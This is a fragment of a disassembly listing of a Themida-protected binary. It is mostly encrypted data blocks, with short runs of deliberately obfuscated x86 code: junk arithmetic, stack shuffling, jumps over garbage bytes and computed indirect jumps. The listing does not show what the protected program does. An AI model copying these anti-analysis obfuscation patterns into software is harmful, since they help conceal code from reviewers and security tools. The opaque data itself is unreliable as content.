0E56194B3h dd 0AE109DB4h, 0BDFB656Fh, 0DCC3E06Ch, 0BFED8523h, 17C10B9Bh dd 0FF4DE0C2h, 46A52F6Eh, 9BDA38Ch, 9DB57AD4h, 0C842B310h dd 91109DB4h, 0CB1B3F0Ch, 3253B283h, 67C1F753h, 0FE4CE0C2h dd 3EA62E6Fh, 0A641DE6Eh, 0B6982A10h, 475E66A7h, 1Ch, 0C7BDA31Bh dd 3793C26Bh, 109DB5h, 68C2C19Dh, 45E16DBDh, 35C4E37Dh dd 6A000000h, 6BC7BDA3h, 0B53793C2h, 0F426109Dh, 290A2864h dd 29D4B50Ah, 0C20D2948h, 0E16DBD68h, 7F607D45h, 9DB4940Eh dd 0B7A5D10h, 109DB48Fh, 72543558h, 0F7616BDDh, 0FFFF22C4h dd 70C3E7FFh, 0B56FEB1Ah, 0D538109Dh, 0BDB22CB4h, 0DB431A6Ch dd 0A72AA4D9h, 92F3109Eh, 0DED3352Dh, 0D332034Dh, 93C110B2h dd 132243C2h, 91BB0E34h, 0CE697BC0h, 10E6CEB3h dd 0D4656771h, 35E5A78h, 51E06EC0h, 50725130h, 0DBFF4EFCh dd 1AA2C38Bh, 0C83D1A3Dh, 109EAF4Eh, 0D38A417Fh, 223167B1h dd 0DC10341Dh, 7011B2C1h, 5EA82253h, 2C71109Eh, 4D0865A4h dd 0D901168Fh, 9FAFFF86h, 1F2E4FCEh, 5179F6FEh, 0FF6E4D01h dd 0A8B48A3h, 0F948296Ch, 8B490A88h, 9425610Ah, 0AC72A868h dd 51105Ah, 7FA30000h, 86E55C32h, 82E6482Fh, 0A37FD9E3h dd 7AEBC8BEh, 168E989Bh, 0E918296Ch, 0A8A8969h, 2B546C0h dd 5DDCB71Dh, 0A0D53147h, 0A89E526h, 5CFAEEFh, 0ADDA9F5Dh dd 0EB475Ah, 0B7980000h, 89F0CC46h, 0A2B0000Ah, 0DDE57293h dd 2E6FFE4Ah, 0C2DB854Fh, 7D8497DDh, 8A52F384h, 6A91F548h dd 83A39A32h, 0C3075637h, 0DE01DE76h, 9F7D61F9h, 64155DBDh dd 109E37EAh, 0C36D52B3h, 0FBC249ACh, 1D21C008h, 4D71C08Ch dd 37250FCh, 109E01CFh, 4D6AE273h, 0E677D365h, 1E3F1DA7h dd 90497039h, 4FDD542Ah, 785A6203h, 0DAD667E5h, 0A5D8F78Fh dd 168F7F38h, 3B1FBCE1h, 3A18A0A8h, 4A3E3FEh, 75E655D1h dd 0A03F5E10h, 89292BBAh, 97C1AA7h, 475D38Dh, 23563756h dd 79F9B9A3h, 132825C4h, 52000002h, 4E745204h, 4E7452FCh dd 507250FAh, 4F7151FFh, 41745202h, 24307DEEh, 3E14A486h dd 2325BAA0h, 400C9D83h, 7765962h, 16B7128Bh, 0BD213D54h dd 0BC902170h, 0FB4A6CADh, 0B89A3859h, 0A6872725h, 0D31D3384h dd 0C8BEA309h, 177AC7EBh, 0DCE485C5h, 988F8EFFh, 0EAD0168Eh dd 0ABDAF95Bh, 0A8A892Fh, 9E4B95F8h, 3F9FEE7Fh, 960A8A89h dd 9F5D7FFCh, 475AAD3Eh, 0AEh, 0E06CBD1Bh, 74E06D51h, 0B18294E5h dd 9326109Dh, 0B1108AFBh, 0B4D9109Dh, 82D3F5D5h, 243D7BCAh dd 0C5104562h, 6E168E81h, 5A8F8F2Fh, 835E8F2Ch, 4C1074DDh dd 0D980DA0Bh, 0C4490474h, 952406A5h, 1C3E1FBFh, 0DB73C3CCh dd 4D6AABBAh, 74D8BE18h, 0BE068704h, 52074D9Ch, 79F8BEDEh dd 37213CEBh, 2E000001h, 3218B6A0h, 2A10AEA0h, 3416B496h dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h dd 2428B99Fh, 6392BD86h, 16B713E7h, 0C2C579B0h, 330250E0h dd 79C80AD2h, 84D5FBDBh, 3897B305h, 9DB549C5h, 92F31210h dd 6CBD9634h, 0DC6D51E0h, 52755270h, 9DB4A723h, 0A32D7010h dd 97345297h, 8E92EF66h, 0A53A2016h, 49CC19A3h, 57F5486Ah dd 4C005177h, 1EAABFFDh, 8A8F73EFh, 3414A70Ah, 0BC942327h dd 6C0D6CADh, 0D1971E4Fh, 55B81071h, 0F5327620h, 0DDF8AF79h dd 9Ah, 0F7D77FCBh, 0EDCD81D1h, 0F1D179CBh, 0F2D080CFh dd 0F3D381D0h, 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h dd 0D521FBFh, 0B7157ED8h, 70D24716h, 0BF02BEA3h, 0BF555D87h dd 92C3E081h, 1685D607h, 7A5CED30h, 634565E7h, 9AEB7AD2h dd 0FCC4A693h, 3DB08FB0h, 0F8448FE1h, 3B19A8AAh, 2D8AEB2Ah dd 44905EB8h, 0DEE627F8h, 0DA6B17B4h, 0DB6E5472h, 4DDEE071h dd 0F41E3203h, 321AAB57h, 311BAE94h, 2FFC2320h, 55ED9B3h dd 51E074C1h, 0DD6D5130h, 36C6771h, 0D2000000h, 71BDE17Bh dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 83221524h, 3C8904ECh dd 81E78924h, 4C7h, 4EF8300h, 5C243C87h, 81E68956h, 4C6h dd 4EE8300h, 5C243487h, 68242C89h, 49F8h, 57240C89h, 5C175ABFh dd 2EB5BD38h, 0FD01CDBDh, 81243C8Bh, 4C4h, 4EC8300h, 81242489h dd 42404h, 50590000h, 868h, 0C8015800h, 0FF582889h, 83592434h dd 34FF04C4h, 0C4815D24h, 4, 0FA201FE9h, 0CDB825FFh, 3061960h dd 85C650C5h, 61311E1h, 17256847h, 0B5FFCF38h, 613116Dh dd 3AAD858Dh, 0D0FF0613h, 858DD88Bh, 6132609h, 1046850h dd 0D3FF0000h, 11E185C6h, 68530613h, 8307F8BFh, 116DB5FFh dd 858D0613h, 6133AADh, 8589D0FFh, 61943D9h, 1F95BD83h dd 0F000613h, 0B84h, 819D8B00h, 0E9061330h, 5, 0BBh, 1006800h dd 0B58D0000h, 61943DDh, 95FF5356h, 6131925h, 43DDB58Dh dd 0F0030619h, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh dd 0FFFFFFEDh, 8D0006C6h, 1943DD85h, 95FF5006h, 61943D9h dd 0EBE0FF58h, 66175D7Dh, 0F414477Ch, 363C705Fh, 0D94769A3h dd 8C3F58C2h, 5B5787A8h, 35171906h, 9F13FF5Fh, 4222C227h dd 7E1D21F4h, 944999C1h, 0E874DE67h, 8, 6B9EFE0Eh, 59B7F301h dd 0B95858B1h, 18E35D50h, 62A0C081h, 28B10000h, 68h, 820F00h dd 5B000000h, 0DAD5B966h, 570334FFh, 14E9h, 7B3A0900h dd 7C9B8627h, 0B1D94547h, 0CC43ACADh, 0C27DF0ACh, 665E5972h dd 0F681CB8Bh, 2384F5F9h, 82FABF66h, 2DA9F681h, 8B6636F3h dd 0C2EE81D3h, 6611AA56h, 56B5F3BAh, 8F5FFC53h, 8B661804h dd 17800FD1h, 0E8000000h, 0Fh, 8DC94E4Fh, 24888EE7h, 792D36D0h dd 8A8B1C2Ch, 0EB835AF5h, 8E904h, 6F000000h, 7A420349h dd 0FB8179DDh, 0FFFF9E18h, 0FF7E850Fh, 0DE9FFFFh, 6A000000h dd 89CC0E81h, 5D6B2A6Bh, 0F248A4AFh, 0FE8h, 0D1C36000h dd 0F9EFAA4h, 65B4545Ah, 33AECC65h, 284DC181h, 805A5A06h dd 0C281C9E9h, 5E1Ah, 0FE9h, 7EAA0700h, 0F20ECF4Ch, 7127BC53h dd 72C3EBCAh, 175068h, 8E0F00h, 58000000h, 14E8h, 0DFE50F00h dd 0DEE88B2Bh, 7F712244h, 535E4FBAh, 0D58CF388h, 5B3BB198h dd 0C681328Bh, 14BB0D98h, 0C2C3EE81h, 0E8601E0Ah, 7, 2B6658h dd 0F320947h, 0E95EF0BFh, 0Ah, 2DD69FE9h, 60158619h, 81618064h dd 52EB49C6h, 56CF8A0Bh, 0A860Fh, 8F0F0000h, 4, 0B915BF66h dd 0BF66028Fh, 0EA810E88h, 109D282Eh, 38BEDF81h, 0C2813AA6h dd 109D282Ah, 0A4F1E4B9h, 1E88135h, 0F000000h, 0FFFF8F85h dd 0C860FFFh, 0F000000h, 687h, 8A0F00h, 8D000000h, 1964678Dh dd 3FC6006h, 130DAD85h, 8D896106h, 6131BBDh, 1F58529h dd 0BD0B0613h, 6131999h, 18DD85C7h, 6E580613h, 8B660000h dd 5585C7C2h, 61330h, 0F000000h, 1988h, 7E800h, 28B00000h dd 69D76843h, 7E94Fh, 180A0000h, 34A819D7h, 0B58B5A5Eh dd 61313A1h, 13D1B5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 440887C3h, 0BB18FA4h dd 95FFA1B0h, 6131D89h, 1AA99D29h, 6A0613h, 0DA995FFh dd 0C08B0613h, 930F3AEBh, 2F6E49C0h, 0CF6F56BEh, 0D02B16EBh dd 0FCD1AB17h, 0DF9D3384h, 0B6DB48D3h, 736BC0E5h, 1ECA4233h dd 0A5746C49h, 10336CEh, 40BF685Bh, 4A2144F3h, 0CFF9CFEDh dd 78E1D9D5h, 45E9h, 27561D00h, 1D8C9344h, 81E89DE6h, 64746E2Eh dd 642E6C6Ch, 67006C6Ch, 3B2BD14h, 0FEB980h, 9 dup(0) dd 14E90000h, 68000007h, 619664Eh, 0FA1C63E9h, 672D68FFh dd 59E90619h, 68FFFA1Ch, 61967B8h, 0FA1C4FE9h, 68AA68FFh dd 45E90619h, 68FFFA1Ch, 6196986h, 0FA1C3BE9h, 6A7068FFh dd 31E90619h, 0EEFFFA1Ch, 0F2D8F660h, 0EAD0EE60h, 0F4D6F456h dd 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah, 0E270C0E2h, 0FF49DEC4h dd 0E468F9DFh, 0A3D2FDC6h, 16B71A27h, 0C485B9F0h, 40h dd 0E06CBD6Ah, 0FE4EDFC3h, 25377F6h, 1B4A6D4Ah, 109DB4BFh dd 5AEB63F3h, 0DFE92C3Bh, 0B50482F1h, 5D45109Dh, 0DF69BECDh dd 4C6EAFBEh, 4B8D57FDh, 5E968AF8h, 0A50A6682h, 0E8293814h dd 70CAE889h, 351E0C2h, 7BD60D32h, 4A2F903Eh, 4C95A12Bh dd 23B59D3Ah, 4DC09D27h, 168F1160h, 8278409h, 8B1179D5h dd 0D602AA0Ah, 6265680Eh, 0B928B0D5h, 8B2BCA48h, 0D6B3060Ah dd 1B7ACB85h, 56E7EB7Ah, 842667F6h, 0DA4E1F35h, 0AB322398h dd 153DEA5Fh, 984088C4h, 5AAC9DD8h, 21C80h, 0DD6F5300h dd 8E0466Dh, 7C425E24h, 0D0B9EA74h, 0F7D4B2B7h, 8EA5E786h dd 7295F816h, 0A0026ADBh, 0D1B5ACCEh, 0E79683F2h, 0DE3F4C4Ch dd 4E38318Fh, 0FACFFC71h, 0D93C4636h, 0C785D8FAh, 0DC70C1E7h dd 0B62F1DA9h, 5A7736AFh, 501h, 3797BF0Bh, 2D8DC111h, 3191B90Bh dd 3290C00Fh, 3393C110h, 6FBE2F00h, 55E3C5E5h, 68FBDDFDh dd 4DE0C2E0h, 0CD12DFFFh, 0B71B3E98h, 0B0920716h, 0B3226CBDh dd 109DB557h, 0AFDEFD20h, 109DB533h, 69F899FCh, 57F5486Ah dd 9038318Dh, 9DB5015Dh, 0ABA73510h, 2923B69Ch, 5B8A2948h dd 168E963Eh, 61F2D8F7h, 4E3F5EEFh, 0A8A93D4h, 0F370789Dh dd 810A3492h, 268501E8h, 7B8536B7h, 25C64710h, 0D9DAC3A8h dd 0CEB8B17Bh, 0B4B17CF1h, 0E5CA71CAh, 5C7EFF86h, 16E76D9h dd 0B18ECD9Ch, 0C6BBE23Ch, 70EA1B65h, 3965C6BCh, 0BE0687D4h dd 0C01F6782h, 0B4CFFE4Dh, 6AF7DB6Bh, 85E2EAh, 1E2E7FA3h dd 444699C1h, 0B03FB511h, 7E1F7E5Fh, 3826AEEFh, 0D88DBF12h dd 0D5340558h, 2293CE5Dh, 0EA000004h, 0F6DCFA5Ch, 0E6CCEA64h dd 0F8DAF852h, 0E7C9E967h, 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh dd 0BB8D2208h, 0A8A4351Bh, 0EF1E410Ah, 16B71C73h, 0C279E53Ch dd 0B51670E5h, 0BEDF109Dh, 0BB912436h, 33538EAAh, 0B18C6194h dd 8005168Eh, 8BFBE622h, 0CB0EB92Ch, 4C731071h, 0FAE37539h dd 0D3A616E4h, 0B56A8B30h, 0FF36F9Eh, 59BC0471h, 587A5938h dd 41674705h, 0AF0D5CF0h, 7EEFCCBAh, 0A6205F3h, 0D684F91Ch dd 773E1B7h, 3976560h, 0E9750000h, 0DB6B4D6Dh, 0DB6D5373h dd 0DA694F6Fh, 0E3725876h, 0CD625171h, 634311A0h, 4363EF3Dh dd 607ECA5Dh, 4565E77Ah, 0A822537Ch, 7116B71Bh, 6CBD0638h dd 51DFC3E0h, 0C28B701h, 5B10EBD5h, 6EFE60FCh, 643DB00Fh dd 25168F6Eh, 52DFC3E0h, 56B6AE3Ch, 8AEB04DFh, 0A2755ABBh dd 4A247A26h, 11302EB6h, 1CAh, 0ACD5B9ADh, 83F2D1B5h, 168EA5E2h dd 0B5114463h, 7E0A8AA2h, 0F518D51Fh, 7BEACD12h, 0A8AA31Fh dd 0EC1BA5E8h, 0DF8E32AEh, 90FB4B6Fh, 6A721341h, 5473134Eh dd 3EA18821h, 3504891Bh, 0D8223116h, 0ECEDEAF2h, 3291D8E4h dd 0AE04AB9Dh, 9362660Dh, 8CAE0D6Ch, 0CCB0173Dh, 0A6593CD8h dd 0E3123F89h, 15287494h, 0C589D901h, 57741574h, 4D6AE273h dd 56F4486Ah, 23E3AB27h, 0C7117409h, 3616A789h, 0A7AAA543h dd 2E2BC27Eh, 2A5h, 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h dd 5777DD6Ch, 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch dd 59764363h, 0B71CAA24h, 441E7316h, 0C3E06CBDh, 6DFC4CDFh dd 3F30D966h, 0B3D257F8h, 637EBA29h, 0A9E8423h, 2A5B7840h dd 168F4AEFh, 8FC11238h, 0E0899BEh, 5E597808h, 59815E3Fh dd 1B31840Bh, 22AACB4Ah, 0C1341334h, 0A8BA845h, 0D966EA79h dd 0B9262CB4h, 6A5E108h, 0A0B40129h, 9948E918h, 0E1C9107Ch dd 12310054h, 789767E3h, 8CED3004h, 0ADE06B27h, 0B03852AAh dd 9C31D233h, 92572B23h, 0B9167079h, 878FAD44h, 19411E7Bh dd 7DD988CCh, 466F837Bh, 2D70FDC7h, 0BDC9201Ch, 8FA0EF1Eh dd 880D7571h, 96B6072Bh, 8DBF1238h, 0F0C636D8h, 0ADA83FDEh dd 1C9h, 7F5FF743h, 65450959h, 7959F143h, 6A480857h, 7B5BF948h dd 3786E748h, 4D9BBD1Dh, 3083A505h, 4598BA18h, 0B59AA707h dd 0B71DC640h, 281A8F16h, 1670E5C2h, 0DF109DB5h, 0B5118D00h dd 0BBDA109Dh, 6DC012DAh, 0B572EC21h, 0DA3B109Dh, 0BBC645F5h dd 2C4DC37Dh, 0BCCA1F1Dh, 3F1BEE1Fh, 7194168Fh, 0BEA3F751h dd 67C4EBC8h, 9B8A1F9h, 6499C60Eh, 168527A5h, 5CF24466h dd 19B6D794h, 9FAEA231h, 0A6D14DC0h, 7B9A0A84h, 9D85D21Ah dd 4062400Ch, 0F26CA1EDh, 2B0A84A6h, 84A760BAh, 57E4290Ah dd 0AA065736h, 9BB104BFh, 0D7A8DDFAh, 0BC106BC2h, 0C0084296h dd 0DDC5E223h, 62EE3D4Ch, 0F3D3B2D3h, 81D07CCDh, 6B483E23h dd 0F5476B4Ch, 0D4850455h, 46B427Ah, 8BFAC243h, 0A5C224Eh dd 39037697h, 6E73DBE8h, 0DFA2BFh, 0A12D0000h, 0A33315B5h dd 93250BABh, 0A23117B7h, 9B2A10AEh, 52A19B9h, 0DBFB59E8h dd 0CBEB67F5h, 0D8F652E5h, 0CDED5FF2h, 30AADB04h, 0F916B71Fh dd 0BEA3BEA0h, 0C57AEBC8h, 0B21684D0h, 215BF68Dh, 1071C094h dd 889194ABh, 83C3F955h, 2243C20Ah, 0C3F65085h, 5EBF0A83h dd 0A5B4D996h, 0E87910A1h, 81A60564h, 2BBA0749h, 70218229h dd 1B3D1BA5h, 42B382CAh, 4C8A2F5Dh, 0EA7BD765h, 66F755E8h dd 0AC9932A0h, 30E2579Bh, 0F359EC9Dh, 0BB0E3492h, 0C0103291h dd 7ECF7FCFh, 0F7767E1Fh, 0E665EFD8h, 0D4A50AB7h, 0D779CA0Ch dd 0AB205286h, 0C8E666F7h, 0DC74C3E7h, 55F9498Dh, 17AAAC34h dd 1FB49635h, 0EC7DD766h, 7EEFCCADh, 0C8469D24h, 0C120A8EDh dd 0C84h, 5E7B2A00h, 0FD2C1F79h, 47917A45h, 0E571BD8Dh dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 89502215h, 405E0h dd 0E8830000h, 24048704h, 2404895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push ebp push 58443B6h pop ebp inc ebp add ebp, 95217Ah push ebp pop edi pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push 298Dh mov [esp], ebp mov ebp, edi mov [ecx+8], ebp pop ebp push dword ptr [esp] pop ecx add esp, 4 mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- db 28h dd 0D553E142h, 0B8744705h, 6196B74h, 0E0FFC503h, 496571F8h dd 68C4D3F2h, 5BDDE22Dh, 7D865DFDh, 6A479F8Fh, 23EA76F0h dd 41894F46h, 44652C67h, 4551BEB0h, 62D68EC7h, 0D640927h dd 23A39CD2h, 3E79D1BEh, 3DF83083h, 5E14DC3Eh, 53204073h dd 50E2694h, 2EB23346h, 48AD5813h, 5D91099Bh, 28E6210Bh dd 4892512Bh, 5792AD77h, 6F9D87B9h, 1B5C0ACEh, 493721C2h dd 7AA75A65h, 7B60EBA3h, 6158FAB8h, 12E8h, 0B1BE9000h dd 98A55684h, 88AF316Ah, 5E19D58Fh, 66DB8D75h, 5FD64BBEh dd 0CBD28160h, 0F81090CDh, 95C78161h, 68000074h, 1CEEh dd 0F0B70F5Ah, 810F37FFh, 0 ; --------------------------------------------------------------------------- pop eax jmp loc_5E2F98 ; --------------------------------------------------------------------------- dw 0B76Eh dd 897225EAh ; --------------------------------------------------------------------------- loc_5E2F98: ; CODE XREF: Themida_:005E2F8Dj xor eax, 3B2B8F6h mov si, 0E1A2h sub eax, 66BCABF0h sub eax, 22F9CEC7h jmp loc_5E2FC1 ; --------------------------------------------------------------------------- db 47h dd 3DF268B8h, 50FFD0A3h, 0D690B5A8h db 0E8h ; --------------------------------------------------------------------------- loc_5E2FC1: ; CODE XREF: Themida_:005E2FAEj push eax xor ebx, 1C4E59F6h pop dword ptr [edi] add ebx, 202CED3Ah sub edi, 158C463Dh jmp loc_5E2FE8 ; --------------------------------------------------------------------------- db 84h dd 0DE4CBFh, 0AB2746B0h, 3287D441h ; --------------------------------------------------------------------------- loc_5E2FE8: ; CODE XREF: Themida_:005E2FD6j add edi, 158C4639h jmp loc_5E2FFA ; --------------------------------------------------------------------------- db 0C5h dd 50517968h db 0EAh, 88h ; --------------------------------------------------------------------------- loc_5E2FFA: ; CODE XREF: Themida_:005E2FEEj sub edx, 1 jnz loc_5E3015 cld jmp loc_5E3036 ; --------------------------------------------------------------------------- dd 6CAE8FFBh, 1E8DB653h db 0EAh ; --------------------------------------------------------------------------- loc_5E3015: ; CODE XREF: Themida_:005E3000j call sub_5E3026 sbb [eax-2Fh], ecx arpl di, bp and edx, [esi+esi*4-65ECE838h] ; =============== S U B R O U T I N E ======================================= sub_5E3026 proc near ; CODE XREF: Themida_:loc_5E3015p or cl, 3Ah pop ebx jmp near ptr dword_5E2ECC+0B8h sub_5E3026 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0BDh dd 413013B5h db 0F3h, 77h ; --------------------------------------------------------------------------- loc_5E3036: ; CODE XREF: Themida_:005E3007j jmp loc_5E305E ; --------------------------------------------------------------------------- db 0E7h dd 30333Dh, 7 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5E305E: ; CODE XREF: Themida_:loc_5E3036j jmp loc_5E350B ; --------------------------------------------------------------------------- push 6196EA4h jmp loc_58442C ; --------------------------------------------------------------------------- push 6196F15h jmp loc_58442C ; --------------------------------------------------------------------------- push 6197067h jmp loc_58442C ; --------------------------------------------------------------------------- db 74h, 0E6h, 70h dd 70DE7052h, 6EDC7052h, 77D96A50h, 70E47157h, 9FCC6352h dd 3E644212h, 644664EEh, 775979CFh, 7B4866E6h, 21A52154h dd 3B6E16B7h, 70E5C207h, 109DB516h, 0F2BD0E47h, 0AEBD3A19h dd 0E673656Fh, 6AFBDF6Eh, 9DC4C4E2h, 93997923h, 0FB9ACB38h dd 0E82CA9DCh, 90F5168Eh, 0E5D230C1h, 0BE0E0A8Ah, 0ADCC80D1h dd 292BBA9Ch, 0AE4BC718h, 0F794FEC7h, 0ACDB07D5h, 0E4C6E95Ah dd 2B6AFB51h, 8AF1E03Ah, 5C64A90Ah, 2BB45h, 0DFB91900h dd 783F2D5h, 0D0109DB5h, 3237834Dh, 67067754h, 78168EA5h dd 85ADF215h, 0C8491834h, 0C1788100h, 0BFAAE7E5h, 8075E8C7h dd 7913162Eh, 29064514h, 122C5AB4h, 331C2307h, 6A71DDC2h dd 88B43C5Dh, 57862561h, 0D02B4A2h, 0F5DDFA1Bh, 0E8CAE864h dd 6C82F755h, 7D76826Eh, 2FBF3EEh, 0D5610000h, 0AFFF2181h dd 0C7193F9Fh, 0AEFD2383h, 8F1E04A2h, 79B6E5C5h, 2F8FC514h dd 3797BB09h, 2C8ABE11h, 3999B306h, 64BE2F30h, 2D16B723h dd 0BEA34AF4h, 0B57FDB0Ah, 0C548109Dh, 0EBD607A4h, 441684DAh dd 4798F263h, 3C610A84h, 0F9D637B4h, 0F2D084D1h, 82D381D0h dd 84D05D45h, 0FD8C54B5h, 0E948DE9Ah, 90C587DAh, 80081644h dd 8AEFEA81h, 0D2000002h, 0CEF4D284h, 0CEF4D27Ch, 0D0F2D07Ah dd 0CFF1D17Fh, 0C1F4D282h, 0A4B0FD6Eh, 0BE942406h, 0A3A53A20h dd 0C08C1D03h, 87F6D9E2h, 16B7240Bh, 0A3A1BDD4h, 7AEBC8BEh dd 1684DA8Fh, 7441578h, 0AABB9323h, 0BD194C6Bh, 860A8447h dd 0D04EBD07h, 270A8447h, 6E2E4EEBh, 0D65AA775h, 18Ch dd 0E06CBD6Ch, 0B2DC6D51h, 0B4E66095h, 6EAF109Dh, 9DB4A3FFh dd 5238D410h, 0B12F19D0h, 0A40263A2h, 0DC437D64h, 0CF853858h dd 5E8F2C4Dh, 168EF023h, 0A9D869ACh, 0A8AEC29h, 0DD6F5380h dd 33BDDC6Dh, 98B760D9h, 8AEBE965h, 8953B20Ah, 0ACD103D1h dd 31AB5Ah, 260C0000h, 0A52FB993h, 0EBC8BEA3h, 8E989B7Ah dd 18296C16h, 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 3887AB5Ah dd 0B7054918h, 2A4BCA9Bh, 0CE7BA2h, 0BDDF0000h, 6D51E06Ch dd 626AEE0h, 3A6AA8DAh, 36074598h, 0A3A7B6D7h, 2C2B3A12h dd 0CD9CB606h, 0FF52844Ch, 67506D4Dh, 0E1345F1h, 67E3126Ah dd 30109EA8h, 0BE2F8CEDh, 109EA864h, 0A1E0E82Dh, 109EA3FFh dd 0C01E2E7Fh, 0BE1D6980h, 0A2F26CA1h, 5ABB109Eh, 9C104592h dd 99168900h, 0E6735774h, 0DB6A506Eh, 0C9BA0479h, 44E3800Ch dd 13809h, 0C0962400h, 0E06EC0E2h, 0FE4CE0C2h, 0E769FAE0h dd 54E1C7h, 4FBC73A2h, 4E745202h, 547654FEh, 476949FFh dd 6B7856F6h, 2495F164h, 4B5E16B7h, 4FE0C217h, 4895B701h dd 7456FA49h, 0BBDA6BE1h, 83D2FDDAh, 8E168197h, 0F52D0F06h dd 7F1EC1C0h, 0F0416775h, 19587F5Ch, 0E915FB48h, 83DDFBC5h dd 51E06CBDh, 52005072h, 57F5488Ah, 54323777h, 0FB130677h dd 49CC168Eh, 5BF9486Ah, 648A087Bh, 73C60A8Ah, 6570EA1Bh dd 0D4390A8Ah, 0A63315B5h, 0A2C29FAEh, 20000000h, 0DB0ABEA3h dd 109DB57Fh, 7A4C548h, 84DAE7D6h, 0A4B5D816h, 9D3D0FA2h dd 0CD5F2ABBh, 64E7EC7Dh, 1BA3A834h, 1A2B4A2Bh, 8CC8153Dh dd 0F5945CBDh, 209EBD04h, 25BACB60h, 0CFF34223h, 3F80D181h dd 7CCFB653h, 7CCD85F6h, 7DD0F2D0h, 0B5C7ECFh, 80D2F445h dd 2D607FCEh, 0D45A25B1h, 27B71B7Ah, 4CFFBC61h, 4C2DF39Dh dd 54E5A7FDh, 0E1B9379Bh, 442583B1h, 44644B70h, 1930BCD9h dd 3FBC569Eh, 6B20B298h, 451475DDh, 87DAFCC4h, 72C3E5C5h dd 88D5FDDAh, 0D41C7DCCh, 33815h, 7B960000h, 0E571BDE1h dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 0F3682215h, 89000062h dd 0B9512424h, 4, 4244C01h, 0E0895059h, 405h, 4E88300h dd 5C240487h, 68240C89h, 5194h, 52241C89h, 3748D968h, 554A5A1Ah dd 0E224DFBDh, 5DEA01EBh, 545AD189h, 83241C8Bh, 0EC8104C4h dd 4, 8F240C89h, 34FF0843h, 0C4815B24h, 4, 52240C8Bh, 0C281E289h dd 4, 4C281h, 14870000h, 25E95C24h, 18FFFA0Fh db 49h, 96h, 0BFh ; --------------------------------------------------------------------------- loc_5E350B: ; CODE XREF: Themida_:loc_5E305Ej mov eax, 61971C4h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 8F26C9h, 5DA36D99h, 1EEE3054h, 3DCE78CDh, 4B355DDDh dd 0E2AD262h, 20756877h, 5645D8E6h, 4CFD250Eh, 1E03C86Bh dd 70494BD1h, 7618303Ch, 14751F72h, 5D0C155Ah, 7C9DED9h dd 79CD7C58h, 3A6A1657h, 481F558Bh, 64B09E64h, 11E8h, 4FEF7F00h dd 6784F0BDh, 889AF3EEh, 0CC9CDEB0h, 0F0807DD7h, 0B8665F1Dh dd 0C7819667h, 5A4Ch, 80D38B60h, 0BB617EF5h, 165Ch, 0F8BF28Bh dd 81F18B66h, 1A1046C1h, 38D0F7Ch, 50000000h, 0E9815EF9h dd 4B2DCF84h, 5890Fh, 81660000h, 81CDE3DAh, 9A8EDC1h, 0BE90Ch dd 86F40000h, 8707AD9Ah, 0E51FE54Fh, 8B66512Fh, 60078FC7h dd 0FE9h, 47FF1D00h, 567EF4AEh, 0A55A762Fh, 0D05BC954h dd 3EF8361h, 0DE8h, 8A513300h, 0C936E454h, 8564C305h, 0B8668BA1h dd 4F5A34ADh, 6E9h, 0AF1F4F00h, 4BE60716h, 10850Fh, 0C78B0000h dd 28E9h, 98E1600h, 0E383F99Bh, 0BE94417h, 0DD000000h dd 246D881Dh, 9B3656A7h, 57E9530Ch, 0DFFFFFFFh, 28DB2A7Bh dd 4E1176C4h, 2C8D8D3Bh, 6A061974h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0DEFFC356h dd 6D770F51h, 0F08B66C9h, 1BBD8D89h, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 9C2484C3h dd 24BF66F2h, 0DD85C7A4h, 0FC061318h, 8B000068h, 1331559Dh dd 5585C706h, 61330h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 8F50C350h, 3243EAADh dd 0FFF43020h, 13302DB5h, 6D858906h, 0FF061315h, 131D8995h dd 719D8B06h, 6A061311h, 0A995FF00h, 8B06130Dh, 0A27FEBC0h dd 1E6D4AA1h, 9EFDE2CAh, 0CACEB128h, 0D6E64FB2h, 8DC10376h dd 0C20AFC6Fh, 352129C9h, 2D4A619Dh, 7C1CAF05h, 4E6F6FF6h dd 64C14829h, 6047B113h, 405A6366h, 0A327CEC4h, 574D4182h dd 90F607A6h, 50D5E21h, 0E125F34Fh, 966C438Ch, 0BD939A44h dd 15D35AECh, 3488BCBh, 43484B73h, 24122B48h, 528ABF52h dd 2ED32595h, 0E35307B9h, 924F3E27h, 6629F4CFh, 2229982Ah dd 9C7E224h, 8D8D0CB2h, 6197557h, 11D59D8Bh, 8D890613h dd 6131BBDh, 0C7F3B70Fh, 1318DD85h, 58D806h, 2D853100h dd 0C7061331h, 13305585h, 6, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 13E7D8F0h dd 76F2432Ah, 1011CE81h, 0EDB657C4h, 13D1B5FFh, 0B58B0613h dd 6130AA9h, 8995FFFCh, 6A06131Dh, 3E85200h, 20000000h dd 895AC35Ah, 